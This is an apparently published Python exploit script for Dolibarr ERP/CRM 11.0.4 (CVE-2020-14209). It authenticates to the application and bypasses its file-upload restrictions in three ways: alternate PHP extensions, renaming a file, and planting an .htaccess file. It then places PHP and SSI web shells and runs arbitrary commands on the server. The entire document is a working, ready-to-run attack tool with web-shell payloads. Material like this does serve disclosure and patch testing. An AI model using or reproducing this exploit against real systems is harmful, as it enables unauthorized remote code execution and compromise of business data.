1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 |
# Exploit Title: Dolibarr ERP/CRM 11.0.4 - File Upload Restrictions Bypass (Authenticated RCE) # Date: 16/06/2020 # Exploit Author: Andrea Gonzalez # Vendor Homepage: https://www.dolibarr.org/ # Software Link: https://github.com/Dolibarr/dolibarr # Version: Prior to 11.0.5 # Tested on: Debian 9.12 # CVE : CVE-2020-14209 #!/usr/bin/python3 # Choose between 3 types of exploitation: extension-bypass, file-renaming or htaccess. If no option is selected, all 3 methods are tested. import re import sys import random import string import argparse import requests import urllib.parse from urllib.parse import urlparse session = requests.Session() base_url = "http://127.0.0.1/htdocs/" documents_url = "http://127.0.0.1/documents/" proxies = {} user_id = -1 class bcolors: BOLD = '\033[1m' HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' def printc(s, color): print(f"{color}{s}{bcolors.ENDC}") def read_args(): parser = argparse.ArgumentParser(description='Dolibarr exploit - Choose one or more methods (extension-bypass, htaccess, file-renaming). If no method is chosen, every method is tested.') parser.add_argument('base_url', metavar='base_url', help='Dolibarr base URL.') parser.add_argument('-d', '--documents-url', dest='durl', help='URL where uploaded documents are stored (default is base_url/../documents/).') parser.add_argument('-c', '--command', dest='cmd', default="id", help='Command to execute (default "id").') parser.add_argument('-x', '--proxy', dest='proxy', help='Proxy to be used.') parser.add_argument('--extension-bypass', dest='fbypass', action='store_true', default=False, help='Files with executable extensions are uploaded trying to bypass the file extension blacklist.') parser.add_argument('--file-renaming', dest='frenaming', action='store_true', default=False, help='A PHP script is uploaded and .php extension is added using file renaming function.') parser.add_argument('--htaccess', dest='htaccess', action='store_true', default=False, help='Apache .htaccess file is uploaded so files with .noexe extension can be executed as a PHP script.') required = parser.add_argument_group('required named arguments') required.add_argument('-u', '--user', help='Username', required=True) required.add_argument('-p', '--password', help='Password', required=True) return parser.parse_args() def error(s, end=False): printc(s, bcolors.HEADER) if end: sys.exit(1) """ Returns user id """ def login(user, password): data = { "actionlogin": "login", "loginfunction": "loginfunction", "username": user, "password": password } login_url = urllib.parse.urljoin(base_url, "index.php") r = session.post(login_url, data=data, proxies=proxies) try: regex = re.compile(r"user/card.php\?id=(\d+)") match = regex.search(r.text) return int(match.group(1)) except Exception as e: #error(e) return -1 def upload(filename, payload): files = { "userfile": (filename, payload), } data = { "sendit": "Send file" } headers = { "Referer": base_url } upload_url = urllib.parse.urljoin(base_url, "user/document.php?id=%d" % user_id) session.post(upload_url, files=files, headers=headers, data=data, proxies=proxies) def delete(filename): data = { "action": "confirm_deletefile", "confirm": "yes", "urlfile": filename } headers = { "Referer": base_url } delete_url = urllib.parse.urljoin(base_url, "user/document.php?id=%d" % user_id) session.post(delete_url, headers=headers, data=data, proxies=proxies) def rename(filename, new_filename): data = { "action": "renamefile", "modulepart": "user", "renamefilefrom": filename, "renamefileto": new_filename, "renamefilesave": "Save" } headers = { "Referer": base_url } rename_url = urllib.parse.urljoin(base_url, "user/document.php?id=%d" % user_id) session.post(rename_url, headers=headers, data=data, proxies=proxies) def test_payload(filename, payload, query, headers={}): file_url = urllib.parse.urljoin(documents_url, "users/%d/%s?%s" % (user_id, filename, query)) r = session.get(file_url, headers=headers, proxies=proxies) if r.status_code != 200: error("Error %d %s" % (r.status_code, file_url)) elif payload in r.text: error("Non-executable %s" % file_url) else: printc("Payload was successful! %s\nOutput: %s" % (file_url, r.text.strip()), bcolors.OKGREEN) return True return False def get_random_filename(): return ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8)) def upload_executable_file_php(payload, query): php_extensions = [".php", ".pht", ".phpt", ".phar", ".phtml", ".php3", ".php4", ".php5", ".php6", ".php7"] random_filename = get_random_filename() b = False for extension in php_extensions: filename = random_filename + extension upload(filename, payload) if test_payload(filename, payload, query): b = True return b def upload_executable_file_ssi(payload, command): filename = get_random_filename() + ".shtml" upload(filename, payload) return test_payload(filename, payload, '', headers={'ACCEPT': command}) def upload_and_rename_file(payload, query): filename = get_random_filename() + ".php" upload(filename, payload) rename(filename + ".noexe", filename) return test_payload(filename, payload, query) def upload_htaccess(payload, query): filename = get_random_filename() + ".noexe" upload(filename, payload) filename_ht = get_random_filename() + ".htaccess" upload(filename_ht, "AddType application/x-httpd-php .noexe\nAddHandler application/x-httpd-php .noexe\nOrder deny,allow\nAllow from all\n") delete(".htaccess") rename(filename_ht, ".htaccess") return test_payload(filename, payload, query) if __name__ == "__main__": args = read_args() base_url = args.base_url if args.base_url[-1] == '/' else args.base_url + '/' documents_url = args.durl if args.durl else urllib.parse.urljoin(base_url, "../documents/") documents_url = documents_url if documents_url[-1] == '/' else documents_url + '/' user = args.user password = args.password payload = "<?php system($_GET['cmd']) ?>" payload_ssi = '<!--#exec cmd="$HTTP_ACCEPT" -->' command = args.cmd query = "cmd=%s" % command if args.proxy: proxies = {"http": args.proxy, "https": args.proxy} user_id = login(user, password) if user_id < 0: error("Login error", True) printc("Successful login, user id found: %d" % user_id, bcolors.OKGREEN) print('-' * 30) if not args.fbypass and not args.frenaming and not args.htaccess: args.fbypass = args.frenaming = args.htaccess = True if args.fbypass: printc("Trying extension-bypass method\n", bcolors.BOLD) b = upload_executable_file_php(payload, query) b = upload_executable_file_ssi(payload_ssi, command) or b if b: printc("\nextension-bypass was successful", bcolors.OKBLUE) else: printc("\nextension-bypass was not successful", bcolors.WARNING) print('-' * 30) if args.frenaming: printc("Trying file-renaming method\n", bcolors.BOLD) if upload_and_rename_file(payload, query): printc("\nfile-renaming was successful", bcolors.OKBLUE) else: printc("\nfile-renaming was not successful", bcolors.WARNING) print('-' * 30) if args.htaccess: printc("Trying htaccess method\n", bcolors.BOLD) if upload_htaccess(payload, query): printc("\nhtaccess was successful", bcolors.OKBLUE) else: printc("\nhtaccess was not successful", bcolors.WARNING) print('-' * 30) |